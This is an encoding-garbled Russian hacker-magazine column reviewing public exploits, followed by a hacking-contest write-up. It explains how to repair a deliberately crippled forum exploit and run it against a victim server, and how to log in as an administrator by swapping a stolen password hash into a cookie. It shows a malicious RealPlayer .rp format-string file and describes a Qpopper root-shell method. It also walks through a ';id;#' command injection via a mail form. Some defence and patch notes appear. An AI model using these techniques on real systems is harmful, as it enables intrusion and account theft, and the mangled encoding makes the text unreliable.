RST. Òû ìîæåøü ñêà÷àòü åãî ñ http://rst.void.ru/-
download/r57ipb2.txt, íî ñïåøó îãîð÷èòü: ñðàçó
îí ó òåáÿ íå çàðàáîòàåò. 1dt.w0lf, êîòîðûé
ðàçðàáîòàë ýòîò ýêñïëîéò, óìûøëåííî îñòà-
âèë â íåì ëîãè÷åñêóþ îøèáêó, ðåàëèçîâàâ
çàùèòó îò äóðà÷êîâ. Çíàêîìîìó ñ Perl�îì ÷å-
ëîâåêó íå ñîñòàâèò òðóäà íàéòè åå, íî ÷òîáû
íå ìó÷èòüñÿ � ïîäñêàæó. Äëÿ âîññòàíîâëå-
íèÿ ðàáîòîñïîñîáíîñòè íóæíî ëèøü çàìå-
íèòü ñòðîêó «$allchar .= chr(42);» íà ñòðîêó
«$allchar .= chr($i);».
Äëÿ ðàáîòû perl-ñêðèïòó íåîáõîäèìî ïåðåäàòü
4 ïàðàìåòðà: àäðåñ ñåðâåðà, ïóòü äî ôîðóìà,
member_id (äëÿ àäìèíèñòðàòîðà � 1), âåðñèÿ
IPB (0 � IPB 1.x, 1 � IPB 2.x). Â êîíêðåòíîì
ïðèìåðå ýòî âûãëÿäèò òàê: r57ipb2.pl www.vic-
tim.com /IPB/ 1 1. Êëþ÷åâîå óñëîâèÿ äëÿ óñïåõà:
magic_quotes â êîíôèãå PHP íà ñåðâåðå äîëæ-
íû áûòü âêëþ÷åíû.

[êîíåö] Ìíîãèå îñóæäàþò èñïîëüçîâàíèå ãî-
òîâûõ ýêñïëîéòîâ, íî â ýòîì íåò íè÷åãî çàçîð-
íîãî. Ïóñêàé ñåðüåçíîãî îïûòà íà òàêèõ âçëî-

ìàõ õàêåð íå íàáåðåòñÿ, íî çàòî ñìîæåò ëåãêî
ðàçæèòüñÿ ïîëíîöåííûì *nix-øåëëîì. À ýòî,
ìåæäó ïðî÷èì, óæå õîðîøèé ïëàöäàðì äëÿ áó-
äóùèõ âçëîìîâ, äëÿ êîòîðûõ âîçìîæíî ïðèäåò-
ñÿ óñòàíàâëèâàòü ñâîé ñîáñòâåííûé ïðîêñè-
ñåðâåð áåç ëîãîâ èëè, ê ïðèìåðó, ñêàíèðîâàòü
öåëûå ïîäñåòè IP-àäðåñîâ äëÿ ïîèñêà ìàøèí ñ
îïðåäåëåííîé óÿçâèìîñòüþ. phpBB ïðåäñòàâ-
ëÿåò äëÿ ýòîãî îòëè÷íóþ âîçìîæíîñòü � äó-
ìàþ, ÷òî óëîæèòü åãî íà ëîïàòêè íå òàêàÿ óæ
ñëîæíàÿ çàäà÷à 

×ÒÎ ÄÄÅËÀÒÜ ÑÑ ÕÕÝØÅÌ ÏÏÀÐÎËß
ÀÄÌÈÍÈÑÒÐÀÒÎÐÀ?
Ìíîãèå èç ïðåäñòàâëåííûõ ýêñïëîé-
òîâ ïîçâîëÿþò ïîëó÷èòü õýø ïàðî-
ëÿ àäìèíèñòðàòîðà. Îäíàêî õýø �
ýòî íå ñàì ïàðîëü, à êàê áû åãî îò-
ïå÷àòîê, íåêîòîðàÿ ñèãíàòóðà. Ïîý-
òîìó óêàçàòü åãî â êà÷åñòâå ïàðîëÿ
íåëüçÿ. Åñòü äâà âàðèàíòà åãî èñ-
ïîëüçîâàíèÿ.
Ïåðâûé âàðèàíò ñàìûé î÷åâèäíûé
� ðàñøèôðîâàòü õýø è ïîëó÷èòü
ïàðîëü â îòêðûòîì âèäå. Áîëüøèí-
ñòâî ôîðóìîâ èñïîëüçóþò äëÿ ãåíå-
ðàöèè õýøåé àëãîðèòì MD5, êîòî-
ðûé ìîæåò áûòü ðàñøèôðîâàí èñê-
ëþ÷èòåëüíî áðóòôîðñîì (òóïûì, ïî
ñëîâàðþ èëè ñ ïîìîùüþ òàáëèö ðà-
äóãè � íå âàæíî). Ñðåäè ñïåöèàëü-
íî ïðåäíàçíà÷åííûõ äëÿ ýòîãî óòè-
ëèò, ÿ áû âûäåëèë ïðîãðàììó
PasswordsPro (www.insidepro.com).
Ê åå äîñòîèíñòâà ìîæíî îòíåñòè
õîðîøóþ ôóíêöèîíàëüíîñòü (ïåðå-
áîð ïî ñëîâàðþ, ïî ìàñêå, òóïîé
ïåðåáîð ïî àâòîìàòè÷åñêè ñîñòàâ-
ëåííûì êîìáèíàöèÿì), âûñîêóþ
ñêîðîñòü ïåðåáîðà, âîçìîæíîñòü
ðàñøèôðîâàòü íåñêîëüêî âèäîâ õý-
øåé (MySQL, ðàçíîâèäíîñòè MD4 è
MD5, SHA-1 è SHA-1). Ñëîâàðü äëÿ
ïåðåáîðà ìîæåò çíà÷èòåëüíî óâå-
ëè÷èòü øàíñû íà óñïåõ � åãî ìîæ-
íî ñêà÷àòü, íàïðèìåð, ñ
www.nsd.ru. Äëÿ ðàñøèôðîâêè
MD5-õýøåé ñóùåñòâóþò òàêæå
online-ñåðâèñû. Íàèáîëåå ïðîäâè-
íóòûì èç íèõ ïî ïðàâó ñ÷èòàåòñÿ
www.passcracking.com, èñïîëüçóþ-
ùèé ðàñïðåäåëåííóþ ñèñòåìó âû-
÷èñëåíèé è îãðîìíóþ áàçó õýø-òàá-
ëèö (47,6 Ãá). Â ëþáîì ñëó÷àå äëÿ
ðàñøèôðîâêè õýøà ìîæåò ïîòðåáî-
âàòüñÿ íåìàëî âðåìåíè, ïîýòîìó ÿ
ðåêîìåíäóþ èñïîëüçîâàòü äðóãîé
âàðèàíò.
Ïîñëå òîãî êàê òû àâòîðèçèðîâàëñÿ
íà ôîðóìå (ñ ïðàâàìè îáû÷íîãî
ïîëüçîâàòåëÿ) íà òâîåé ìàøèíå àâ-
òîìàòè÷åñêè ñîçäàëàñü ïëþøêà
(cookie), ñîäåðæàùàÿ õýø òâîåãî ïà-
ðîëÿ. Ýòî íåîáõîäèìî äëÿ òîãî, ÷òî-
áû ôîðóì «çàïîìíèë» òåáÿ, è òåáå
íå ïðèõîäèëîñü ââîäèòü ïàðîëü çà-
íîâî. Ýòî èãðàåò íàì íà ðóêó, òàê
êàê, ïîäìåíèâ õýø ñâîåãî ñîáñòâåí-
íîãî ïàðîëÿ íà õýø ïàðîëÿ àäìèíè-
ñòðàòîðà, òû ñìîæåøü áåç êàêèõ-ëè-
áî ïðîáëåì çàëîãèíèòüñÿ ïîä åãî àê-
êàóíòîì. Îòðåäàêòèðîâàòü cookies
ìîæíî ñ ïîìîùüþ óòèëèòû Cookie
Editor (www.proxoft.com) èëè, íàïðè-
ìåð, ñ ïîìîùüþ ðåäàêòîðà ïëþøåê,
âñòðîåííîãî â áðàóçåð Opera
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GNU MAILUTILS IMAP4D 
REMOTE F-S EXPLOIT
[îïèñàíèå] Åùå âåñíîé â áàãòðàêå ïîÿâè-
ëàñü íîâîñòü, ñîîáùàþùàÿ î òîì, ÷òî â èçâåñò-
íîì ïðîäóêòå GNU Mailutils çàêðàëèñü íåñêîëü-
êî ïîäîçðèòåëüíûõ óÿçâèìîñòåé. Âñå îíè ïåðå-
ïîëíÿëè áóôåð è ïðîâîöèðîâàëè DoS-àòàêó.
Êàê ýòî îáû÷íî áûâàåò, áàãîèñêàòåëè íå ñîîá-
ùèëè íèêàêèõ ïîäðîáíîñòåé îá îøèáêàõ. Òîëü-
êî â êîíöå ñåíòÿáðÿ êîìàíäà iDEFENSE îòêðû-
ëà ëþäÿì ãëàçà, íàïèñàâ ýêñïëîéò, çàïóñêàþ-
ùèé êîìàíäíûé èíòåðïðåòàòîð.
Ñóòü îøèáêè ïðîñòà êàê ìèð: â êîäå ìîäóëÿ
search.c îòñóòñòâóåò ïðîâåðêà íà äëèíó ïîèñ-
êîâîé ïåðåìåííîé. Òàêèì îáðàçîì, âçëîìùèê
âûïîëíÿåò êîìàíäó IMAP âèäà «SEARCH
TOPIC %08x.%08x.%08x.%08x shellcode» è ïî-
ëó÷àåò ïðàâà ñóïåðïîëüçîâàòåëÿ (èëè þçåðà,
çàïóñòèâøåãî imap4d).

[çàùèòà] Çàùèòèòüñÿ îò áðåøè ìîæíî äâóìÿ
ñïîñîáàìè: ïîñòàâèòü ïàò÷, êîòîðûé ïðåäëàãàþò
iDEFENSE (http://savannah.gnu.org/patch/down-
load.php?item_id=4407&item_file_id=5160), ëèáî
îáíîâèòü âåðñèþ Mailutils ñ îôèöèàëüíîãî ñàé-
òà (www.gnu.org/software/mailutils/mailutils.html).

[cñûëêè] Ñêà÷èâàé ýêñïëîéò ïî ññûëêå
www.securitylab.ru/poc/extra/240351.php. Ïîä-
ðîáíûé íåêðîëîã îò iDEFENSE òû ìîæåøü ïðî-
÷èòàòü ïî àäðåñó www.idefense.com/application/
poi/display?id=303&type=vulnerabilities&flashsta-
tus=true.

[çëîêëþ÷åíèå] Ïîìèìî ýòîé áðåøè, â mailu-
tils íàøëè çàíÿòíóþ SQL-èíúåêöèþ. Ïîêà îñî-
áûõ ïîäðîáíîñòåé íå ñîîáùàåòñÿ, íî èçâåñòíî,
÷òî áàã òàèòñÿ â ñèøíèêå auth/sql.c. Òàê ÷òî èñ-
ñëåäóé êîä è íàáðåäåøü íà èñòèíó :).

[greets] Êàê âñåãäà îòëè÷èëàñü êîìàíäà
iDEFENSE. Äðóæíî ïîáëàãîäàðèì åå çà ñòîëü
ùåäðûé ýêñïëîéò è ïîæåëàåì ðàçâèâàòüñÿ â
òîì æå íàïðàâëåíèè.

IGATEWAY «DEBUG» MODE 
REMOTE BÎF EXPLOIT
[îïèñàíèå] Â ïðîøëîì âûïóñêå ÿ ïèñàë î äî-
ñàäíîì áàãå â ïðîãðàììíîì ïðîäóêòå Snort.
Ñïóñòÿ ìåñÿö ìèð óçíàë î ïîõîæåé óÿçâèìîñ-
òè, ïðàâäà, óæå â ïðîåêòå iGateway îò èçâåñò-
íîãî ïðîèçâîäèòåëÿ Computer Associates. Êàê è
â Snort, áðåøü âûçûâàåòñÿ êðèâûì çàïðîñîì ê
äåìîíó è ìîæåò áûòü âûÿâëåíà òîëüêî ïðè çà-
ïóñêå â ðåæèìå îòëàäêè (ýòîò ðåæèì âûêëþ÷åí
ïî óìîë÷àíèþ).
Íî ãëàâíîå îòëè÷èå îò áðåøè â Snort � îøèá-
êà ìîæåò ïðèâåñòè ê âûïîëíåíèþ ïðîèçâîëü-
íîãî êîäà. Òàê, íàïðèìåð, â âûëîæåííîì
ýêñïëîéòå çàïóñêàåòñÿ øåëë íà ïîðòó 1711.
Åñëè âíèìàòåëüíî ïîñìîòðåòü â êîä ýêñïëîéòà,
òî ìîæíî óâèäåòü äâà òàðãåòà äëÿ ñèñòåì
WinXP+SP2 è Win2k+SP4. Ïðåæäå ÷åì êîìïè-
ëèðîâàòü ñèøíûé êîä, ïðîâåðü âåðñèþ ñèñòå-
ìû è îòêîììåíòèðóé íóæíóþ ñòðîêó.

[çàùèòà] Ïîêà êîìïàíèÿ Computer Associates
íå îòðåàãèðîâàëà íà áàã â ïðîäóêòå è íå âûïóñ-
òèëà íèêàêèõ çàïëàòîê è íîâûõ ðåëèçîâ. Ïîýòî-
ìó åäèíñòâåííûé ñïîñîá çàëàòàòü áðåøü � îò-
êàçàòüñÿ îò çàïóñêà â ðåæèìå îòëàäêè.

[cñûëêè] Ñêà÷àòü ýêñïëîéò ìîæíî çäåñü:
www.securitylab.ru/poc/extra/241012.php. Ïîäðîáíîå
îïèñàíèå áàãà íàõîäèòñÿ ïî ññûëêå www.secu-
ritylab.ru/vulnerability/source/241010.php.

[çëîêëþ÷åíèå] Áîëüøèíñòâî àäìèíèñòðàòî-
ðîâ ëþáÿò âêëþ÷àòü ðàçëè÷íûå ïðîäóêòû â ðå-
æèìå äåáàãà. Òàêèå ëþäè ìîãóò çäîðîâî ïîñòðà-
äàòü îò øàëîâëèâûõ õàêåðñêèõ ðóê. Ïîýòîìó
ìîé òåáå ñîâåò � íèêîãäà íå âêëþ÷àé îòëàäêó è
íå äîâåðÿé ïðîäóêòàì òðåòüèõ ïðîèçâîäèòåëåé.

[greets] Îá îøèáêå â ïðîãðàììíîì ïðîäóêòå
ñîîáùèë íåêòî Erika Mendoza. Ïîáëàãîäàðèì
åãî (èëè åå) çà ñòîëü èíòåðåñíóþ èíôîðìàöèþ.

XINE-LIB REMOTE 
FORMAT STRING EXPLOIT
[îïèñàíèå] Â ïîïóëÿðíîì ëèíóõîâîì ïëååðå
ñ èìåíåì xine áûëà íàéäåíà êðèòè÷åñêàÿ
îøèáêà. Áàã íàõîäèòñÿ â ôàéëå input_cdda.c è
ïðåäñòàâëÿåò ñîáîé îáû÷íóþ óÿçâèìîñòü ôîð-
ìàòíîé ñòðîêè. Êàê òû, íàâåðíîå, ïîíÿë, êîä
ýòîãî ñèøíèêà âûïîëíÿåòñÿ ïðè ÷òåíèè ìåòà-
äàííûõ CD-äèñêà ñ ñåðâåðà CDDB. Èíôîðìà-
öèÿ î òðåêàõ çàïèñûâàåòñÿ â ñïåöèàëüíûé õýø-
ôàéë, íî ïåðåä ýòèì ïåðåäàåòñÿ â ôóíêöèþ
sprinft(). Åñòåñòâåííî, ÷òî íèêàêèõ äîïîëíè-
òåëüíûõ ïðîâåðîê íà «÷èñòîòó» äàííûõ íå ïðî-
èçâîäèòñÿ. Åñëè ïîäóìàòü, òî ìîæíî ïðåäóãà-
äàòü äåéñòâèÿ çëîóìûøëåííèêà: õàêåð ìîæåò
ïîäíÿòü ñîáñòâåííûé CDDB-ñåðâåð è çàñòà-
âèòü æåðòâó îáðàòèòüñÿ ê íåìó. Ëèáî ñ ïî-
ìîùüþ ñîâðåìåííûõ òåõíîëîãèé ïåðåõâàòèòü
èíôîðìàöèþ î òðåêàõ è ñëåãêà èçìåíèòü åå.
Ýêñïëîéò ïîëíîñòüþ íàïèñàí íà Perl è ïðåäñ-
òàâëÿåò ñîáîé ôåéêîâûé ñåðâèñ CDDB. Îäíà-
êî ïóáëè÷íûé âàðèàíò ñïëîèòà ïðîñòî óáèâàåò
xine, à íå âûïîëíÿåò ïðîèçâîëüíûé êîä.

[çàùèòà] Â ïîñëåäíåì ðåëèçå xine (1.0.3a) óÿç-
âèìîñòü áûëà èñïðàâëåíà. Ìîæåøü ñìåëî îáíîâ-
ëÿòü ïëååð ñ îôèöèàëüíîãî ñàéòà http://xinehq.de.

[cñûëêè] Ñëèâàåì ñïëîèò ïî ññûëêå www.secu-
ritylab.ru/poc/extra/241081.php. Çà ïîäðîáíîñòÿìè
ìîæíî îáðàòèòüñÿ ê ñïåöèàëüíîìó îáúÿâëåíèþ íà
www.securitylab.ru/vulnerability/source/241076.php.

[çëîêëþ÷åíèå] Äàííàÿ óÿçâèìîñòü ìîæåò
ïðîÿâëÿòü ñåáÿ íå òîëüêî ïðè ïðîèãðûâàíèè
CD-ôàéëîâ. Ñóùåñòâóåò ñïåöèàëüíûé ïîòîêî-
âûé ôîðìàò Audio CD MRL (media resource
locator), êîòîðûé ìîæíî ïðîñëóøèâàòü ÷åðåç
Èíòåðíåò. Åñòåñòâåííî, ÷òî çà èíôîðìàöèåé î
òðåêå xine îáðàùàåòñÿ ê CDDB.

[greets] Àâòîðîì ýêñïëîéòà ÿâëÿåòñÿ ÷åëîâåê
ñ èìåíåì Ulf Harnhammar. Îí âõîäèò â õàêåðñ-
êóþ ãðóïïó Securiteam (support@securiteam.ru).

ìóòèì ïîäëîæíûé CDDB-ñåðâåðíàãëÿäíîå ýêñïëóàòèðîâàíèå ñåðâèñà ýòè ïðîäóêòû îïàñíû äëÿ æèçíè!

EEXXPPLLOOIITTSS RREEVVIIEEWW
Forb (forb@real.xakep.ru)
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REALPLAYER FORMAT STRING EXPLOIT

[îïèñàíèå] Åùå îäíà óÿçâèìîñòü ôîðìàòíîé
ñòðîêè áûëà íàéäåíà ñðàçó â äâóõ Real-ïëå-
åðàõ ïîä Linux � RealPlayer è Helix. Îøèáêà
âûçûâàåòñÿ ïðè ïðîèãðûâàíèè ïîäëîæíîãî
ôàéëà ñ ðàñøèðåíèåì *.rp. Ñ ïåðâîãî âçãëÿäà
ýêñïëîéò íå ïðåäñòàâëÿåò îñîáîé öåííîñòè:
ýòî ÷èñòî ëîêàëüíîå ñðåäñòâî íàïàäåíèÿ, ñîç-
äàþùåå rp-ôàéë è çàïóñêàþùåå RealPlayer ñ
ïîñëåäóþùèì îòêðûòèåì øåëëà íà ïîðòó
4444. Íî äàííûé ôàéëèê ìîæíî îïóáëèêîâàòü
â ãëîáàëüíîé ñåòè è ðàñêèäûâàòü ññûëêè íà÷è-
íàþùèì þíèêñîèäàì :).
×òîáû áûëî ïîíÿòíî, ïðèâîæó ñòðóêòóðó ïîä-
ëîæíîãî rp-ôàéëà, ïðîâîöèðóþùåãî äàííûé áàã:

<imfl>
<head 
title="iDEFENSE Labs RealPix Vulnerability"
timeformat="%n%n%n%n%n%n"/>
</imfl>.
Óÿçâèìûìè ñ÷èòàþòñÿ ñëåäóþùèå ïðîäóêòû:
RealPlayer 10.0.4.750, à òàêæå Helix Player
1.0.6.

[çàùèòà] Çàùèòèòüñÿ îò áðåøè ìîæíî ïðîñòûì
àïäåéòîì âåðñèè ïëååðîâ (http://real.com èëè
http://helixcommunity.org). Òàêæå ïîìíè ïðî îïàñ-
íîñòü ïðè îòêðûòèè íåèçâåñòíûõ ññûëîê â Èíòåð-
íåòå. Îñîáåííî, åñëè òåáå ïðåäëàãàþò ïîñëó-
øàòü ïðîèçâåäåíèå íåèçâåñòíîãî èñïîëíèòåëÿ :).

[cñûëêè] Ýêñïëîéò ìîæíî âçÿòü îòñþäà:
www.security.nnov.ru/files/helix4real.c. Ïîäðîá-
íåéøèé ìàíóàë ïî åãî èñïîëüçîâàíèþ, à òàêæå
äåòàëè óÿçâèìîñòè ìîæíî íàéòè íà ýòîé ñòðàíè-
öå � http://security.nnov.ru/Jdocument809.html.

[çëîêëþ÷åíèå] Îøèáêà â RealPlayer�å ìîæåò
ïðèâåñòè ê âåñüìà ïëà÷åâíûì ïîñëåäñòâèÿì.
Êàê íå êðóòè, à â íàøåì ìèðå ïîëíî ïîëüçîâà-
òåëåé, êëèêàþùèõ íà âñå ïîäðÿä. Ïîýòîìó õà-
êåðó äîñòàòî÷íî ðàçìåñòèòü ïîäëîæíûé ôàéë
â Èíòåðíåòå è çàñòàâèòü êàêîãî-íèáóäü þíèê-
ñîèäà ïîñëóøàòü ìóçûêó.

[greets] Èíôîðìàöèþ îá óÿçâèìîñòè ñîîáùèë
íåêèé c0ntex (c0ntexb@gmail. com). Çàòåì âñåì
èçâåñòíàÿ ãðóïïà Securiteam ïîäõâàòèëà ýòó
èäåþ, è åå ó÷àñòíèêè íàïèñàëè ñîêðóøèòåëü-
íûé ýêñïëîéò.

QPOPPER POPPASSD 
LOCAL R00T EXPLOIT

[îïèñàíèå] Åñëè òû ëèíóõîèä, òî íàâåðíÿêà
ñëûøàë (èëè äàæå þçàë) pop3-äåìîí ñ ïðåê-
ðàñíûì íàçâàíèåì Qpopper. Ñïåøó òåáÿ îãîð-
÷èòü, ÷òî â îäíîì èç åãî êîìïîíåíòîâ áûëà
íàéäåíà óÿçâèìîñòü. Ñóòü åå â òîì, ÷òî ñ ïî-
ìîùüþ ñóèäíîãî ôàéëà poppassd, ñëóæàùåãî
äëÿ ñìåíû ïîëüçîâàòåëüñêîãî ïàðîëÿ, ìîæíî
ñîçäàòü ëþáîé ëîêàëüíûé ôàéë. Òàêèì îáðà-
çîì, â ýêñïëîéòå ñîçäàåòñÿ ñèñòåìíûé ôàéë
/etc/libmap.conf (äëÿ FreeBSD) è /etc/ld.so.pre-
load (äëÿ Linux), â êîòîðûé çàòåì çàïèñûâàåòñÿ
ôåéêîâàÿ áèáëèîòåêà. Â ýòîé ëèáå ïðîèñõîäèò
ñîçäàíèå ëîêàëüíîãî ðóòîâîãî øåëëà /tmp/suid.
Òåïåðü ðàçáåðåìñÿ êàê ðàáîòàåò ýêñïëîéò:
ñïåðâà ñîçäàåòñÿ ôàéë, çàòåì â íåãî çàíîñèò-
ñÿ ññûëêà íà ïîäëîæíûé ìîäóëü. Ïîñëå ýòîãî
çàïóñêàåòñÿ /bin/su, ïðîâîöèðóþùèé âûïîëíå-
íèå ìîäóëÿ. Åñëè âñå äåéñòâèÿ óâåí÷àëèñü óñ-
ïåõîì, òî â êàòàëîãå /tmp ïîÿâèòñÿ ñóèäíûé
ôàéë suid. Ýòî è áóäåò çàâåòíûé ðóòøåëë :).
Ýêñïëîéò, íàïèñàííûé íà bash, ïîñòàâëÿåòñÿ â
äâóõ âàðèàíòàõ � äëÿ Linux è äëÿ FreeBSD.

[çàùèòà] Êàê óòâåðæäàåò àâòîð ýêñïëîéòà,
óÿçâèìûìè ÿâëÿþòñÿ âñå âåðñèè Qpopper äî
4.0.8 âêëþ÷èòåëüíî. Ðàçðàáîò÷èêè ïðîäóêòà
ïîêà íå øåâåëÿòñÿ è íå âûïóñêàþò ïàò÷è, ïîý-
òîìó çàùèòû îò áàãà ïîêà íå ñóùåñòâóåò.

[cñûëêè] Ýêñïëîéò ìîæíî ïîëó÷èòü ïî ññûëêå
www.security.nnov.ru/files/poppassd-lnx.sh (Linux)
èëè www.security.nnov.ru/files/poppassd-freebsd.sh
(FreeBSD).

[çëîêëþ÷åíèå] Qpopper � ýòî ïðîäóêò, êîòî-
ðûé èçäàâíà ñëàâèëñÿ ñâîèìè áàãàìè. Íå òàê
äàâíî áûëà íàéäåíà áðåøü â òîì æå ìîäóëå
poppassd, ïîçâîëÿþùàÿ ñìåíèòü ïàðîëü ëþáî-
ìó ïîëüçîâàòåëþ. Ïîýòîìó ìîé ñîâåò � îòêà-
çàòüñÿ îò ýòîãî ñîìíèòåëüíîãî ïðîäóêòà :).

[greets] Îá óÿçâèìîñòè ñîîáùèë íåêòî kc0pe.
Ïåðâûé èñòî÷íèê, êîòîðûé îá ýòîì óçíàë, èìå-
íóåòñÿ êàê full-disclosure (full-disclosure@lists.net-
sys.com).

MS WINDOWS NCM 
LOCAL DOS (MS05-045)

[îïèñàíèå] Â ýòîì ìåñÿöå êàê îáû÷íî îòëè-
÷èëèñü ïðîäóêòû MicroSoft. Íà ýòîò ðàç áàãîèñ-
êàòåëè íàøëè áðåøü â ñåðâèñå Network
Connection Manager. Åñëè âåðèòü èõ ñëîâàì, òî
ñëóæáà ìîæåò áûòü âðåìåííî îñòàíîâëåíà ïðè
ïðèåìå íåêîððåêòíîãî TCP-ïàêåòà. Ïðèìå÷à-
òåëüíî, ÷òî ïðè âîçäåéñòâèè ýêñïëîéòà ïðåðû-
âàþòñÿ âñå àêòèâíûå ïîäêëþ÷åíèÿ. Îäíàêî ïðè
âîññòàíîâëåíèè ñîåäèíåíèÿ ìåíåäæåð îæèâà-
åò è ïðîäîëæàåò íîðìàëüíî ôóíêöèîíèðîâàòü.
Ýêñïëîéò êîððåêòíî ðàáîòàåò ñ ñèñòåìàìè
Win2000 (SP1-4), WinXP (SP1, SP2) è Win2003
(SP1). Â ñèñòåìàõ WinXP+SP2 è Win2003+SP1
áàã ìîæåò ýêñïëóàòèðîâàòü òîëüêî ëîêàëüíûé è
àâòîðèçîâàííûé ïîëüçîâàòåëü. Íà áîëåå ñòàðûõ
îïåðàöèîíêàõ áðåøü ìîæíî âûçâàòü óäàëåííî.
Îäíàêî ïåðâûé ïóáëè÷íûé ðåëèç ýêñïëîéòà îðè-
åíòèðîâàí òîëüêî äëÿ ëîêàëüíîãî íàïàäåíèÿ.

[çàùèòà] Çàùèòèòüñÿ ìîæíî ñ ïîìîùüþ ñïåöè-
àëüíûõ ïàò÷åé, çàáîòëèâî âûëîæåííûõ Microsoft.
Ñïèñîê çàïëàòîê ìîæíî íàéòè íà ñòðàíèöå
www.securitylab.ru/vulnerability/240996.php.

[cñûëêè] Ýêñïëîéò íàõîäèòñÿ çäåñü: www.secu-
ritylab.ru/poc/extra/241127.php è äîñòóïåí äëÿ
ñêà÷èâàíèÿ. Îïèñàíèå óÿçâèìîñòè ìîæíî íàéòè
íà ññûëêå www.securitylab.ru/notification/240988.php.

[çëîêëþ÷åíèå] Ñòåïåíü îïàñíîñòè äàííîé
îøèáêè íå âåëèêà � ïîêà ÷òî ýòî ïðîñòîé DoS.
Îäíàêî â íåêîòîðûõ ñëó÷àÿõ îáðûâ òåêóùèõ
ñîåäèíåíèé ìîæåò ïðèâåñòè ê íåõîðîøèì ïîñ-
ëåäñòâèÿì. Ïîýòîìó îáÿçàòåëüíî óñòàíîâè
ñïàñèòåëüíûé ïàò÷ â òâîþ îïåðàöèîíêó, à òàê-
æå çàêðîé ïîðòû 135-139, 445 íà òâîåì ôàéð-
âîëå, åñëè åùå ýòîãî íå ñäåëàë.

[greets] Ýêñïëîéò áûë íàïèñàí åùå 14 èþëÿ
2005 ãîäà õàêåðîì bkbll (bkbll@cnhonker.net). Â
ïóáëè÷íûå èñòî÷íèêè äàííîå òâîðåíèå ïîïàëî
14 îêòÿáðÿ 2005 ãîäà.

íåêðîëîã äëÿ ñåòåâîé ñëóæáûñìåðòü äëÿ RealPlayer ëîêàëüíàÿ ïî÷òîâàÿ àòàêà





Ïîðà ïîäâîäèòü èòîãè ïðîøåäøåãî ìåñÿöà, ïðèÿòåëü. Ê ñîæàëåíèþ, òîãäà ïîëó÷èëñÿ îáëîì ñ ðó-
òàíèåì unix-ñåðâåðà è ýòó çàòåþ ìû áûëè âûíóæäåíû íåíàäîëãî îòëîæèòü. Â îêòÿáðüñêîì êîíêóð-
ñå òåáå íåîáõîäèìî áûëî ïîõàêàòü íåçàäà÷ëèâûõ áàðûã, êîòîðûå ïðåäîñòàâëÿþò VPN-ñåðâèñ. Â
êà÷åñòâå íà÷àëüíîé ìèøåíè àòàêè âûñòóïàë ñàéò www.padonak.ru, íà êîòîðîì íàõîäèëàñü ñòðà-
íè÷êà ñ ôîðìîé îáðàòíîé ñâÿçè äëÿ ïîëüçîâàòåëåé ñåðâèñà. Êàê íåñëîæíî äîãàäàòüñÿ, âñå ñîîá-
ùåíèÿ, âáèâàåìûå â ýòó ôîðìó, ëèáî çàïèñûâàþòñÿ â áàçó äàííûõ, ëèáî îòïðàâëÿþòñÿ íà ìûëî.
Ââîä ðàçíîîáðàçíûõ êîìáèíàöèé êàâû÷åê, êëþ÷åâûõ ñëîâ è ñèìâîëîâ sql-êîììåíòàðèåâ íè ê ÷å-
ìó íå ïðèâåë, â ðåçóëüòàòå ÷åãî äîëæíà áûëà çàäîðèòüñÿ ìûñëü, ÷òî âñå äàííûå ôèëüòðóþòñÿ, ëè-
áî ñîîáùåíèå ïðîñòî îòïðàâëÿåòñÿ íà ìûëî, è âñå òâîè êàâû÷êè íèêîãî íå òðåâîæàò. Ïåðâûé âà-
ðèàíò íå ðàññìàòðèâàåòñÿ, ïîñêîëüêó ñêðèïò â íàøåì êîíêóðñå ïî îïðåäåëåíèþ áàæíûé.
Áàã áûë íà ñàìîé ïîâåðõíîñòè: e-mail ñîîáùåíèå ïî÷åìó-òî îòñûëàåòñÿ ïðè ïîìîùè âûçîâà
ïðîãðàììû mail ÷åðåç ôóíêöèþ system(). Ïîñêîëüêó áàêëàí-ïðîãðàììèñò ïðè ýòîì ðåøèë íå
ôèëüòðîâàòü íè åäèíîãî ñèìâîëà, ñöåíàðèé ïîëó÷èëñÿ ïðîñòî íàõîäêîé äëÿ òàêèõ, êàê òû.
Ïåðåáðàâ âñå êîìáèíàöèè, ëåãêî áûëî íàéòè íóæíóþ: â ïîëå «Òåìà» íàäî áûëî âáèòü ÷òî-òî âðî-
äå ;id;#. Çäåñü id � ýòî âûïîëíÿåìàÿ êîìàíäà. Ñìîòðè, ÷òî ïðè ýòîì ïðîèñõîäèò.
Ìûëî îòïðàâëÿåòñÿ òàêèì îáðàçîì:

echo �$message�|mail �s $subject blah@xakep.ru

Íåñëîæíî ïîíÿòü, êàêàÿ âûïîëíèòñÿ êîìàíäà, åñëè âìåñòî $subject âñòàâèòü óêàçàííóþ âûøå
ïîñëåäîâàòåëüíîñòü ñèìâîëîâ.

Íåêîòîðûå ëþäè, êîòîðûå ïðîõîäèëè êîíêóðñ, çà÷åì-òî íà ýòîì ýòàïå çàëèâàëè web-øåëë; íåêî-
òîðûå áàêëàíû âîîáùå óäàëÿëè âåñü ñàéò. À äåëàòü íàäî áûëî ñëåäóþùåå: ïîëó÷èòü èç áàæíî-
ãî ñöåíàðèÿ ìûëî, ïî êîòîðîìó îòïðàâëÿþòñÿ äàííûå, è ïîïðîáîâàòü åãî ïîëîìàòü. Ñäåëàâ cat
index.php òû áû ëåãêî óçíàë, ÷òî âñå äàííûå èç ôîðìû ëåòÿò íà ìûëî homsa.toft@gmail.com. Ïî-
ëîìàòü ýòî ìûëî � âîò îñíîâíàÿ çàäà÷à. Âáèâ åãî â icq-ïîèñêå, ìîæíî áûëî íàéòè íóæíûé êîí-
òàêò. È info ýòîãî þçåðà áûëî ïðÿìûì òåêñòîì íàïèñàíî, ÷òî îí ÷èòàåò âñå ñîîáùåíèÿ â áîðäå
www.icq.com/boards/browse_folder.php?tid=8085 è ëþáèò ïîôëåéìèòü. Âïîëíå, íà ìîé âçãëÿä, ëî-
ãè÷íî, ÷òî íàäî íàéòè äûðêó â ýòîì ôîðóìå è ÷åðåç íåå óòàùèòü ïàðîëü.
Ýòî âîò íèêòî äîâîëüíî äîëãî ñäåëàòü íå ìîã, õîòÿ áàã áûë íà ñàìîé ïîâåðõíîñòè. Ñòîèëî òîëü-
êî ïðè ñîçäàíèè òåìû âáèòü ëþáîé òýã, êàê ñðàçó ñòàíîâèëîñü ïîíÿòíî, ÷òî ýòîò ôîðóì ïîäâåð-
æåí CSS-áàãó. Ïîäðîáíîñòè ýòîé óÿçâèìîñòè è èñòîðèþ åå îáíàðóæåíèÿ òåáå ëó÷øå ïî÷èòàòü â
